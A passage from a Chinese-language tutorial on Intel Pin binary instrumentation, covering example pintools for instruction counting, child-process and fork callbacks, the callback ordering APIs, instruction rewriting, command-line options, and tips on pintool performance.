thread_data_t* tdata = static_cast< thread_data_t* >(PIN_GetThreadData(tls_key, threadid));
tdata->_count += c;
}
VOID ThreadStart(THREADID threadid, CONTEXT* ctxt, INT32 flags, VOID* v)
{
numThreads++;
thread_data_t* tdata = new thread_data_t;
if (PIN_SetThreadData(tls_key, tdata, threadid) == FALSE)
{
cerr << "PIN_SetThreadData failed" << endl;
PIN_ExitProcess(1);
}
}
// 遇到新的代码块时调用，插入对docount函数的调用
VOID Trace(TRACE trace, VOID* v)
{
// 检查trace中的每个基本块
for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
{
// 对每个bbl插入对docount的调用，并传递参数：指令的数量
BBL_InsertCall(bbl, IPOINT_ANYWHERE, (AFUNPTR)docount, IARG_FAST_ANALYSIS_CALL, IARG_UINT32, BBL_NumIns(bbl),
IARG_THREAD_ID, IARG_END);
}
}
// 线程退出时调用
VOID ThreadFini(THREADID threadIndex, const CONTEXT* ctxt, INT32 code, VOID* v)
{
thread_data_t* tdata = static_cast< thread_data_t* >(PIN_GetThreadData(tls_key, threadIndex));
*OutFile << "Count[" << decstr(threadIndex) << "] = " << tdata->_count << endl;
delete tdata;
}
// 程序退出时调用
VOID Fini(INT32 code, VOID* v) { *OutFile << "Total number of threads = " << numThreads << endl; }
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This tool counts the number of dynamic instructions executed" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return 1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
PIN_InitSymbols();
if (PIN_Init(argc, argv)) return Usage();
OutFile = KnobOutputFile.Value().empty() ? &cout : new std::ofstream(KnobOutputFile.Value().c_str());
// 设置key
tls_key = PIN_CreateThreadDataKey(NULL);
if (tls_key == INVALID_TLS_KEY)
{
cerr << "number of already allocated keys reached the MAX_CLIENT_TLS_KEYS limit" << endl;
PIN_ExitProcess(1);
}
// 注册线程创建时调用的ThreadStart函数
PIN_AddThreadStartFunction(ThreadStart, NULL);
// 注册线程结束时调用的ThreadFini函数
PIN_AddThreadFiniFunction(ThreadFini, NULL);
// 注册程序结束时的Fini函数
PIN_AddFiniFunction(Fini, NULL);
// 注册指令插桩时调用的Trace函数
TRACE_AddInstrumentFunction(Trace, NULL);
// Start the program, never returns
PIN_StartProgram();
return 1;
}
### **_13\. 查看image的静态属性_**
功能：不对binary文件进行插桩，静态获取文件的指令数量。
源码`source/tools/ManualExamples/staticcount.cpp`：
//
// This tool prints a trace of image load and unload events
//
#include <stdio.h>
#include <iostream>
#include "pin.H"
using std::cerr;
using std::endl;
// 在img加载时调用该函数，计算image中的静态指令数量
VOID ImageLoad(IMG img, VOID* v)
{
UINT32 count = 0;
for (SEC sec = IMG_SecHead(img); SEC_Valid(sec); sec = SEC_Next(sec))
{
for (RTN rtn = SEC_RtnHead(sec); RTN_Valid(rtn); rtn = RTN_Next(rtn))
{
// 准备处理RTN，RTN并不会分解成bbl，只是INS的一个序列
RTN_Open(rtn);
for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins))
{
count++;
}
// 在处理完与RTN相关的数据后就进行释放，以节省空间
RTN_Close(rtn);
}
}
fprintf(stderr, "Image %s has %d instructions\n", IMG_Name(img).c_str(), count);
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This tool prints a log of image load and unload events" << endl;
cerr << " along with static instruction counts for each image." << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// 初始化符号
PIN_InitSymbols();
// 初始化pin
if (PIN_Init(argc, argv)) return Usage();
// 注册img加载后要调用的ImageLoad函数
IMG_AddInstrumentFunction(ImageLoad, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
### **_14\. 插桩子进程_**
功能：在通过execv类命令获得进程开始前执行自定义的函数。
执行和查看输出：在执行时添加`-follow_execv`选项。
$ ../../../pin -follow_execv -t obj-intel64/follow_child_tool.so -- obj-intel64/follow_child_app1 obj-intel64/follow_child_app2
$ make follow_child_tool.test
源码`source/tools/ManualExamples/follow_child_tool.cpp`：
#include "pin.H"
#include <iostream>
#include <stdio.h>
#include <unistd.h>
/* ===================================================================== */
/* Command line Switches */
/* ===================================================================== */
BOOL FollowChild(CHILD_PROCESS cProcess, VOID* userData)
{
fprintf(stdout, "before child:%u\n", getpid());
return TRUE;
}
/* ===================================================================== */
int main(INT32 argc, CHAR** argv)
{
PIN_Init(argc, argv);
// 注册子进程刚创建时要执行的FollowChild函数
PIN_AddFollowChildProcessFunction(FollowChild, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
### **_15\. 在fork前和fork后插桩_**
功能：使用`PIN_AddForkFunction()`和`PIN_AddForkFunctionProbed()`回调函数来在以下的FPOINT处执行自定义函数：
FPOINT_BEFORE Call-back in parent, just before fork.
FPOINT_AFTER_IN_PARENT Call-back in parent, immediately after fork.
FPOINT_AFTER_IN_CHILD Call-back in child, immediately after fork.
`PIN_AddForkFunction()`工作在JIT模式下，`PIN_AddForkFunctionProbed()`工作在Probe模式下。
执行和查看输出：
$ make fork_jit_tool.test
源码`source/tools/ManualExamples/fork_jit_tool.cpp`：
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "pin.H"
#include <iostream>
#include <fstream>
using std::cerr;
using std::endl;
INT32 Usage()
{
cerr << "This pin tool registers callbacks around fork().\n"
"\n";
cerr << KNOB_BASE::StringKnobSummary();
cerr << endl;
return -1;
}
pid_t parent_pid;
PIN_LOCK pinLock;
VOID BeforeFork(THREADID threadid, const CONTEXT* ctxt, VOID* arg)
{
PIN_GetLock(&pinLock, threadid + 1);
cerr << "TOOL: Before fork." << endl;
PIN_ReleaseLock(&pinLock);
parent_pid = PIN_GetPid();
}
VOID AfterForkInParent(THREADID threadid, const CONTEXT* ctxt, VOID* arg)
{
PIN_GetLock(&pinLock, threadid + 1);
cerr << "TOOL: After fork in parent." << endl;
PIN_ReleaseLock(&pinLock);
if (PIN_GetPid() != parent_pid)
{
cerr << "PIN_GetPid() fails in parent process" << endl;
exit(-1);
}
}
VOID AfterForkInChild(THREADID threadid, const CONTEXT* ctxt, VOID* arg)
{
PIN_GetLock(&pinLock, threadid + 1);
cerr << "TOOL: After fork in child." << endl;
PIN_ReleaseLock(&pinLock);
if ((PIN_GetPid() == parent_pid) || (getppid() != parent_pid))
{
cerr << "PIN_GetPid() fails in child process" << endl;
exit(-1);
}
}
int main(INT32 argc, CHAR** argv)
{
PIN_InitSymbols();
if (PIN_Init(argc, argv))
{
return Usage();
}
// Initialize the pin lock
PIN_InitLock(&pinLock);
// Register a notification handler that is called when the application
// forks a new process.
PIN_AddForkFunction(FPOINT_BEFORE, BeforeFork, 0);
PIN_AddForkFunction(FPOINT_AFTER_IN_PARENT, AfterForkInParent, 0);
PIN_AddForkFunction(FPOINT_AFTER_IN_CHILD, AfterForkInChild, 0);
// Never returns
PIN_StartProgram();
return 0;
}
## **_4\. 回调_**
这部分主要介绍几个Pin的用于注册回调函数的API：
* [INS_AddInstrumentFunction](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/group__INS__INSTRUMENTATION.html#ga1333734dbf7d552365a24cd945d5691d) (INSCALLBACK fun, VOID *val)：注册以指令粒度插桩的函数
* [TRACE_AddInstrumentFunction](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/group__TRACE.html#gab2f19ff0a9198c83715eea79ada22503) (TRACECALLBACK fun, VOID *val)：注册以trace粒度插桩的函数
* [RTN_AddInstrumentFunction](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/group__RTN.html#ga63bd82d1e10ee8c83d67529845f5ca46) (RTNCALLBACK fun, VOID *val)：注册以routine粒度插桩的函数
* [IMG_AddInstrumentFunction](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/group__IMG.html#ga4a067152140ead3e23279ab2bd6cd723) (IMGCALLBACK fun, VOID *val)：注册以image粒度插桩的函数
* [PIN_AddFiniFunction](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/group__PIN__CONTROL.html#gaa78c7b560975a6feffa420fadedc0627) (FINICALLBACK fun, VOID *val)：注册在应用程序退出前执行的函数，该类函数不进行插桩，可以有多个。
* [PIN_AddDetachFunction](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/group__PIN__CONTROL.html#ga7501b4226bc92f358b7b361eea0929d2) (DETACHCALLBACK fun, VOID *val)：注册在Pin通过`PIN_Detach()`函数放弃对应用程序的控制权限之前执行的函数，一个进程只调用一次，可以被任何线程调用，此时Pin的内存并没有释放。
对于每个注册函数的第二个参数val将在“回调”时传递给回调函数。如果在实际的场景中不需要传递第二个参数，为了保证安全，可以传递将val的值设置为0进行传递。val的理想使用方式是传递一个指向类实例的指针，这样回调函数在取消引用该指针前需要将其转换回一个对象。
所有的注册函数都会返回一个PIN_CALLBACK对象，该对象可以在后续过程中用于操作注册的回调的相关属性。
### **_PIN回调操作相关API_**
在注册函数返回PIN_CALLBACK对象后，可以使用PIN_CALLBACKAPI对其进行操作，来检索和修改在Pin中已注册的回调函数的属性。
声明：
typedef COMPLEX_CALLBACKVAL_BASE * PIN_CALLBACK
函数：
1. CALLBACK_GetExecutionOrder()
声明：
VOID CALLBACK_GetExecutionOrder (PIN_CALLBACK callback)
作用：获取已注册回调函数的执行顺序。越靠前，越早被执行。
参数：callback，从 __Add_ Funcxtion()函数返回的注册的回调函数
1. CALLBACK_SetExecutionOrder()
声明：
`VOID CALLBACK_SetExecutionOrder (PIN_CALLBACK callback, CALL_ORDER order)`
作用：设置已注册回调函数的执行顺序。越靠前，越早被执行。
参数：callback，从 __Add_ Funcxtion()函数返回的注册的回调函数；order，新设置的回调函数的执行顺序。
1. PIN_CALLBACK_INVALID()
声明：
`const PIN_CALLBACK PIN_CALLBACK_INVALID(0)`
PIN回调的无效值。
### **_CALL_ORDER_**
`CALL_ORDER`是一个枚举类型，预定义了`IARG_CALL_ORDER`的值。其作用就是当指令有多个分析函数调用时，控制每个分析函数的调用顺序，默认值为`CALL_ORDER_DEFAULT`。
* CALL_ORDER_FIRST：首先执行该调用，整数值为100.
* CALL_ORDER_DEFAULT：未指定`IARG_CALL_ORDER`时的默认值，整数值为200.
* CALL_ORDER_LAST：最后执行该调用，整数值为300.
在进行数值设定时，可以使用类似`CALL_ORDER_DEFAULT + 5`的格式来设置。
针对在相同插桩回调环境中的针对同一指令的、具备同样`CALL_ORDER`的多个分析调用，Pin会按照插入的顺序进行调用。
## **_5\. 修改程序指令_**
虽然Pin的主要用途是对二进制程序进行插桩，但是它也可以实现对程序指令的修改。
### **_5.1 实现方式_**
最简单的实现方式是插入一个分析routine来模拟指令执行，然后调用INS_Delete()来删除指令。也可以通过直接或间接插入程序执行流分支（使用`INS_InsertDirectJump`和`INS_InsertIndirectJump`）实现，这种方式会改变程序的执行流，但是会更容易实现指令模拟。
#### **_INS_InsertDirectJump()_**
声明：
`VOID INS_InsertDirectJump(INS ins, IPOINT ipoint, ADDRINT tgt)`
参数：
* ins：输入的指令
* ipoint：与ins相关的location（仅支持IPOINT_BEFORE和IPOINT_AFTER）
* tgt：target的绝对地址
作用：插入相对于给定指令的直接跳转指令，与INS_Delete()配合使用可以模拟控制流转移指令。
#### **_INS_InsertIndirectJump()_**
声明：
VOID INS_InsertIndirectJump ( INS ins, IPOINT ipoint, REG reg)
参数：
* ins：输入的指令
* ipoint：与ins相关的location（仅支持IPOINT_BEFORE和IPOINT_AFTER
* reg：target的寄存器
作用：插入相对于给定指令的间接跳转指令，与INS_Delete()配合使用可以模拟控制流转移指令。
### **_5.2 指令内存修改_**
对于原始指令使用到的内存的访问，可以通过使用INS_RewriteMemoryOperand来引用通过分析routine计算得到的值来替代。
需要注意的是，对于指令的修改操作，会在所有的指令插桩操作完成后进行，因此在进行指令插桩时，插桩routine看到的都是原始的、没有经过修改的程序指令。
#### **_INS_RewriteMemoryOperand()_**
声明：
VOID INS_RewriteMemoryOperand(INS ins, UINt32 memindex, REG newBase)
参数：
* ins：输入指令
* memindex：控制需要重写的内存操作数（0，1，...）
* newBase：包含新操作数地址的寄存器，通常是通过PIN_ClainToolRegister分配的临时寄存器
作用：更改此内存访问指令以饮用包含在给定特定寄存器中的虚拟内存地址。
在IA-32和Intel 64平台上，修改后的操作数仅使用具有新基址寄存器newBase的基址寄存器进行寻址。原始指令中该操作数的任何index，
scale或者offset filed都会被删除。
该函数可以用于重写内存操作数，包括隐式的（如call、ret、push、pop），唯一不能重写的指令是第二个操作数大于0的enter。
newBase中的地址是中是该操作数将访问的最低地址，如果操作数在内存访问之前被指令修改，如push，则newBase中的值将不是堆栈指针，而是指令访问的内存地址。
用于内存地址重写的一个样例插桩代码如下：
// 映射originalEa到一个翻译后的地址
static ADDRINT ProcessAddress(ADDRINT originalEa, ADDRINT size, UINT32 access);
...
for (UINT32 op = 0; op<INS_MemoryOperandCount(ins); op++) // 首先遍历内存操作指令进行计数
{
UINT32 access = (INS_MemoryOperandIsRead(ins,op) ? 1 : 0) | // 判断是内存读还是内存写
(INS_MemoryOperandIsWritten(ins,op) ? 2 : 0);
INS_InsertCall(ins, IPOINT_BEFORE,
AFUNPTR(ProcessAddress),
IARG_MEMORYOP_EA, op,
IARG_MEMORYOP_SIZE, op,
IARG_UINT32, access,
IARG_RETURN_REGS, REG_INST_G0+i,
IARG_END); // 在指令处进行插桩
INS_RewriteMemoryOperand(ins, i, REG(REG_INST_G0+i)); // 重写内存指令的操作数
}
## **_6\. 应用Pintool_**
命令行：
pin [pin-option]... -t [toolname] [tool-options]... -- [application] [application-option]..
### **_6.1 Pin命令行选项_**
如下是Pin的命令行的完整option列表：
Option | Description
---|---
-follow_execv | 使用Pin执行由execv类系统调用产生的所有进程
-help | 帮助信息
-pause_tool | 暂停并打印PID以可以在tool加载后attach到debugger，处理过程在‘n’秒后重启
-logfile | 指定log文件的名字和路径，默认路径为当前工作目录，默认文件名为pin.log
-unique_logfile | 添加pid到log文件名中
-error_file | 指定error文件的名字和路径，默认路径为当前工作目录。如果设置了error文件，则所有error都会写入到文件中，并且不会在console中显示。如果没有指定，则不创建文件。
-unique_error_file | 添加pid到error文件名中
-injection | 的选项为dynamic， self， child， parent，只能在UNIX中使用，详看[Injection](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/index.html#INJECTION)，默认使用dynamic。
-inline | 内联简单的分析routine
-log_inline | 在pin.log文件中记录哪些分析routine被设置成了内联
-cc_memory_size | 最大代码缓存，字节为单位。0为默认值，表示不做限制。必须设置为代码缓存块大小的对齐倍数。
-pid | 使用Pin和Pintool attach一个正在运行的进程
-pin_memory_range | 限制Pin到一个内存范围内，0x80000000:0x90000000 or size: 0:0x10000000.
-restric_memory | 阻止Pin的动态加载器使用该地址范围：0x10000000:0x20000000
-pin_memory_size | 限制Pin和Pintool可以动态分配的字节数。Pin分配的字节数定义为Pin分配的内存页数乘以页大小。
-tool_load_option | 加载有附加标志的tool。
-t | 指定加载的Pintool。
-t64 <64-bit toolname> | 指定针对Intel 64架构的64-bit的Pintool。
-p32 | 指定IA-32架构下的Pintool
-p64 | 指定针对Intel 64架构的Pintool
-smc-support | 是否开启app的SMC功能，1开启，0关闭。默认开启
-smc_strict | 是否开启基本块内部的SMC，1开始，0关闭。默认关闭
-appdebug | 调试目标程序，程序运行后立即在debugger中断下
-appdebug_enable | 开启目标程序调试功能，但是在程序运行后不暂停
-appdebug_silent | 当程序调试功能开启时，Pin打印消息告知如何连接外部debugger。但是在-appdebug_connection选项开启时不打印。
-appdebug_exclude | 当程序调试功能开启，并指定了-follw_execv时，默认在所有子进程上启用调试。
-appdebug_allow_remote | 允许debugger与Pin不运行在同一系统上，而是以远程方式进行连接。指定 -appdebug_connection 时会忽略该选项的值，因为 -appdebug_connection 明确指定了运行debugger的machine。
-appdebug_connection | 当程序开启调试时，Pin默认会开启一个TCP端口等待debugger的连接。在开启该选项时，会在debugger中开启一个TCP端口来等待Pin的连接，相当于反置了默认的机制。该选项的格式为"[ip]:port"，“ip”以点十进制格式表达，如果省略了ip，则会连接本地的端口，端口号为十进制表示。需要注意的是，debugger为GDB时，不使用该选项。
-detach_reattach | 允许在probe模式下进行detach和reattach，仅在Windows平台下使用。
-debug_instrumented_processes | 允许debugger对经过插桩的进程进行attach，仅在Windows平台下使用。
-show_asserts | 健全性检查
此外，还支持如下的tool options，它们需要跟在tool名字后面，但是要在--符号前：
Option | Description
---|---
-logifle | 指定log文件的名字和路径，默认路径为当前工作目录，默认文件名为pintool.log
-unique_logfile | 添加pid到log文件名中
-discard_line_info | 忽略特定模块的信息，模块名应该为没有路径的短文件名，不能是符号链接
-discard_line_info_all | 忽略所有模块的信息
-help | 帮助信息
-support_jit_api | 启用托管平台支持
-short_name | 使用最短的RTN名称。
-symbol_path | 指定用分号分隔的路径列表，用于搜索以查找符号和行信息。仅在Windows平台下使用。
-slow_asserts | 健全性检查
### **_6.2 在Intel(R) 64架构插桩_**
IA-32和Intel(R) 64架构的Pin
kit是一个组合kit，均包含32-bit和64-bit的版本。这就为复杂的环境提供了极高的可运行性，例如一个稍微有点复杂的运行如下：
pin [pin-option]... -t64 <64-bit toolname> -t <32-bit toolname> [tool-options]...
-- <application> [application-option]..
需要注意的是：
* t64选项需要用在-t选项的前面
* 当-t64和-t一起使用时，-t后面跟的时32-bit的tool。不推荐使用不带-t的-t64，因为在这种情况下，当给定32-bit应用程序时，Pin将在不应用任何工具的情况下运行该应用程序。
* [tool-option]会同时作用于64-bit和32-bit的tool，并且必须在-t <32-bit toolname>后面进行指定。
### **_6.3 注入_**
选项-injection仅在UNIX平台下可以使用，该选项控制着Pin注入到目标程序进程的方式。
默认情况下，建议使用dynamic模式。在该模式下，使用的是对父进程注入的方式，除非是系统内核不支持。子进程注入方式会创建一个pin的子进程，所以会看到pin进程和目标程序进程同时运行。使用父进程注入方式时，pin进程会在注入完成后退出，所以相对来说比较稳定。在不支持的平台上使用父进程注入方式可能出现意料之外的问题。
## **_7\. 编写Pintool_**
### **_7.1 记录Pintool的消息_**
Pin提供了将Pintool的messages写入到文件的机制——LOG()
api，在合适的获取message的位置使用即可。默认的文件名为pintool.log，存储路径为当前工作目录，可以使用-logfile选项来改变log文件的路径和名字。
LOG( "Replacing function in " + IMG_Name(img) + "\n" );
LOG( "Address = " + hexstr( RTN_Address(rtn)) + "\n" );
LOG( "Image ID = " + decstr( IMG_Id(img) ) + "\n" );
### **_7.2 编写Pintool时的性能考量_**
Pintool的开发质量会很大程度上决定tool的性能如何，例如在进行插桩时的速度问题。将通过一个例子来介绍一些提高tool性能的技巧。
首先是插桩部分代码：
VOID Instruction(INS ins, void *v)
{
...
if ( [ins is a branch **or** a call instruction] )
{
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR) docount2,
IARG_INST_PTR,
IARG_BRANCH_TARGET_ADDR,
IARG_BRANCH_TAKEN,
IARG_END);
}
...
}
然后是分析代码：
VOID docount2( ADDRINT src, ADDRINT dst, INT32 taken )
{
if(!taken) return;
COUNTER *pedg = Lookup( src,dst );
pedg->_count++;
}
该工具的目的是计算控制流图中每个控制流变化的边界被遍历的频率。工作原理如下：插桩组件通过调用docount2对每个分支进行插桩。传入的参数为源分支和目标分支以及分支是否被执行。源分支和目标分支代表来控制流边界的源和目的。如果没有执行分支，控制流不会发生改变，因此分析routine会立即返回。如果执行了分支，就使用src和dst参数来查找与此边界相关的计数器，并增加计数器的值。
**_Shifting Computation for Analysis to Instrumentation Code_**
在一个典型的应用程序中，大概每5条指令构成一个分支，在这些指令执行时会调用`Lookup`函数，造成性能下降。我们思考这个过程可以发现，在指令执行时，每条指令只会调用一次插桩代码，但会多次调用分析代码。所以，可以想办法将计算工作从分析代码转移到插桩代码，这样就可以降低调用次数，从而提升性能。
首先，就大多数分支而言，我们可以在`Instruction()`中找到目标分支。对于这些分支，我们可以在Instruction()内部调用`Lookup()`而不是`docount2()`，对于相对较少的间接分支，我们仍然需要使用原来的方法。
因此，我们增加一个新的函数`docount`，原来的`docount2`函数保持不变：
VOID docount( COUNTER *pedg, INT32 taken )
{
if( !taken ) return;
pedg->_count++;
}
相应地，修改插桩函数：
VOID Instruction(INS ins, void *v)
{
...
if (INS_IsDirectControlFlow(ins))
{
COUNTER *pedg = Lookup( INS_Address(ins), INS_DirectControlFlowTargetAddress(ins) );
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR) docount,
IARG_ADDRINT, pedg,
IARG_BRANCH_TAKEN,
IARG_END);
}
else
{
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR) docount2,
IARG_INST_PTR,
IARG_BRANCH_TARGET_ADDR,
IARG_BRANCH_TAKEN,
IARG_END);
}
...
}
在插桩函数内部根据不同的情况，执行不同的分析代码，避免对所有类型的指令都笼统地调用性能要求高`docount2`函数。
最终实现的完整代码如下：
/* ===================================================================== */
/*!
对于已经进行过插桩的Edge，重用entry；否则创建一个新的。
*/
static COUNTER* Lookup(EDGE edge) // 查找边界
{
COUNTER*& ref = EdgeSet[edge];
if (ref == 0)
{
ref = new COUNTER();
}
return ref;
}
/* ===================================================================== */
// 分析routine代码
VOID docount(COUNTER* pedg) { pedg->_count++; }
/* ===================================================================== */
// 对于间接控制流，我们不知道边界，所以需要进行查找。
VOID docount2(ADDRINT src, ADDRINT dst, ADDRINT n, ETYPE type, INT32 taken)
{
if (!taken) return;
COUNTER* pedg = Lookup(EDGE(src, dst, n, type));
pedg->_count++;
}
/* ===================================================================== */
VOID Instruction(INS ins, void* v) // 插桩函数
{
if (INS_IsDirectControlFlow(ins)) // 如果是直接控制流（ins为控制流指令，目标地址由指令指针或立即数指定）
{
ETYPE type = INS_IsCall(ins) ? ETYPE_CALL : ETYPE_BRANCH; // 判断是否为call指令，是则返回ETYPE_CALL
// 静态目标可以在这里进行一次映射
// 参数分别为当前指令地址、当前指令目标地址、下一指令地址、指令类型
COUNTER* pedg = Lookup(EDGE(INS_Address(ins), INS_DirectControlFlowTargetAddress(ins), INS_NextAddress(ins), type));
// 插桩
INS_InsertCall(ins, IPOINT_TAKEN_BRANCH, (AFUNPTR)docount, IARG_ADDRINT, pedg, IARG_END);
}
else if (INS_IsIndirectControlFlow(ins)) // 如果是间接控制流（ins为控制流指令，且目标地址通过内存或寄存器提供）
{
ETYPE type = ETYPE_IBRANCH; // 直接指定类型为间接控制流
if (INS_IsRet(ins)) // 是否为ret或iret
{
type = ETYPE_RETURN;
}
else if (INS_IsCall(ins))
{
type = ETYPE_ICALL;
}
// 进行插桩
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount2, IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_ADDRINT, INS_NextAddress(ins), IARG_UINT32, type, IARG_BRANCH_TAKEN, IARG_END);
}
else if (INS_IsSyscall(ins)) // 如果是syscall指令
{
COUNTER* pedg = Lookup(EDGE(INS_Address(ins), ADDRINT(~0), INS_NextAddress(ins), ETYPE_SYSCALL));
INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_ADDRINT, pedg, IARG_END);
}
}
/* ===================================================================== */
inline INT32 AddressHighNibble(ADDRINT addr) { return 0xf & (addr >> (sizeof(ADDRINT) * 8 - 4)); }
/* ===================================================================== */
static std::ofstream* out = 0;
VOID Fini(int n, void* v) // 程序结束时的处理函数
{
const INT32 nibble = KnobFilterByHighNibble.Value();
*out << "EDGCOUNT 4.0 0\n"; // profile header, no md5sum
UINT32 count = 0;
for (EDG_HASH_SET::const_iterator it = EdgeSet.begin(); it != EdgeSet.end(); it++)
{
const pair< EDGE, COUNTER* > tuple = *it;
// skip inter shared lib edges
if (nibble >= 0 && nibble != AddressHighNibble(tuple.first._dst) && nibble != AddressHighNibble(tuple.first._src))
{
continue;
}
if (tuple.second->_count == 0) continue;
count++;
}
*out << "EDGs " << count << endl;
*out << "# src dst type count next-ins\n";
*out << "DATA:START" << endl;
for (EDG_HASH_SET::const_iterator it = EdgeSet.begin(); it != EdgeSet.end(); it++)
{
const pair< EDGE, COUNTER* > tuple = *it;
// skip inter shared lib edges
if (nibble >= 0 && nibble != AddressHighNibble(tuple.first._dst) && nibble != AddressHighNibble(tuple.first._src))
{
continue;
}
if (tuple.second->_count == 0) continue;
*out << StringFromAddrint(tuple.first._src) << " " << StringFromAddrint(tuple.first._dst) << " "
<< StringFromEtype(tuple.first._type) << " " << decstr(tuple.second->_count, 12) << " "
<< StringFromAddrint(tuple.first._next_ins) << endl;
}
*out << "DATA:END" << endl;
*out << "## eof\n";
out->close();
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
if (PIN_Init(argc, argv)) // 初始化
{
return Usage();
}
string filename = KnobOutputFile.Value(); // 输出文件
if (KnobPid)
{
filename += "." + decstr(getpid());
}
out = new std::ofstream(filename.c_str());
INS_AddInstrumentFunction(Instruction, 0); // 注册插桩函数
PIN_AddFiniFunction(Fini, 0); // 注册Fini函数
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
/* ===================================================================== */
/* eof */
/* ===================================================================== */
### **_7.3 消除控制流_**
上面新增的`docunt()`函数的代码十分简洁，极大地提升了性能。除此之外，还可以被Pin内联，进一步避免函数调用的开销。
但是现在的`docount()`函数中存在控制流，这有可能在进行内联时发生未知的改变。最好的解决办法是去掉函数中的控制流，这样进行内联时可以保证健壮性。
考虑到`docount()`函数的'taken'参数要么为0，要么为1，所以可以将函数代码修改为如下：
VOID docount( COUNTER *pedg, INT32 taken )
{
pedg->_count += taken;
}
如此修改后，`docunt()`函数就可以进行内联了，并且可以保证函数的健壮性。
### **_7.4 让Pin决定插桩位置_**
在某些情况下，我们不关心具体在什么位置进行插桩，只要保证插桩代码位于基本块内部即可。在这种情况下，我们可以将插桩位置的选择权交给Pin自身，Pin可以选择需要最少寄存器进行保存和恢复的插入点，提升性能。
一个样例如下：
#include <iostream>
#include <fstream>
#include "pin.H"
using std::cerr;
using std::endl;
using std::ios;
using std::ofstream;
using std::string;
ofstream OutFile;
// 记录运行的指令的数量，设置为静态变量方便编译器优化docount函数
static UINT64 icount = 0;
// 在每个块之前调用该函数
// 对calls使用fast linkage
VOID PIN_FAST_ANALYSIS_CALL docount(ADDRINT c) { icount += c; }
// Pin在遇到一个新块时调用，插入对docount 函数的调用
VOID Trace(TRACE trace, VOID* v)
{
// 检查trace中的每个基本块
for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
{
// 对每个bbl插入对docount函数的调用，将指令数量作为参数传递
// IPOINT_ANYWHERE参数允许Pin在bbl内部任意位置插入call以获取最好的性能
// 对call使用fast linkage
BBL_InsertCall(bbl, IPOINT_ANYWHERE, AFUNPTR(docount), IARG_FAST_ANALYSIS_CALL, IARG_UINT32, BBL_NumIns(bbl), IARG_END);
}
}
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "inscount.out", "specify output file name");
// 程序退出时调用
VOID Fini(INT32 code, VOID* v)
{
OutFile.setf(ios::showbase);
OutFile << "Count " << icount << endl;
OutFile.close();
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This tool counts the number of dynamic instructions executed" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// 初始化Pin
if (PIN_Init(argc, argv)) return Usage();
OutFile.open(KnobOutputFile.Value().c_str());
// 注册插桩函数Trace
TRACE_AddInstrumentFunction(Trace, 0);
// 注册Fini函数
PIN_AddFiniFunction(Fini, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
这里`IPOINT`是一个枚举类型，决定了分析call被插入到什么地方。插入的对象可以是：INS，BBL，TRACE，RTN，其完整可用的值如下：
* IPOINT_BEFORE：在插桩对象的第一条指令之前插入call，总是有效
* IPOINT_AFTER：在插桩对象的最后一条指令的失败路径处插入call
* 如果是routine（RTN），在所有返回路径处插桩
* 如果是instruction（INS），仅在INS_IsValidForIpointAfter()函数为真的情况下适用
* 如果是BBL，仅在`BBL_HasFallThrough()`函数为真的情况下适用
* 如果是TRACE，仅在`TRACE_HasFallThrough()`函数为真的情况下适用
* IPOINT_ANYWHERE：在插桩对象的任意位置插入call，不适用`INS_InsertCall()`和`INS_InsertThenCall()`函数
* IPOINT_TAKEN_BRANCH：在插桩对象的控制流的执行边界处插入call，仅适用于`INS_IsValidForIpointTakenBranch()`返回真的情况。
### **_7.5 使用Fast Call Linkages_**
对于一些比较“小”的函数来说，对函数的调用开销有时与函数自身的运算开销基本相同，因此一些编译器会提供一些调用链接优化机制来降低开销。例如，IA-32下的gcc有一个在寄存器中传递参数的regparm属性。
Pin中有一定数量的备用链接，使用`PIN_FAST_ANALYSIS_CALL`来声明分析函数即可使用，而插桩函数`InsertCall`则需要使用`IARG_FAST_ANALYSIS_CALL`。如果二者只更改了一个，那么就可能出现传参错误。例如前面给出的源码例子就使用了fast
call linkages：
... ...
// 对分析函数使用fast linkage*
VOID PIN_FAST_ANALYSIS_CALL docount(ADDRINT c) { icount += c; }
VOID Trace(TRACE trace, VOID* v)
{
// 检查trace中的每个基本块*
for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
{
// 对插桩函数使用fast linkage*
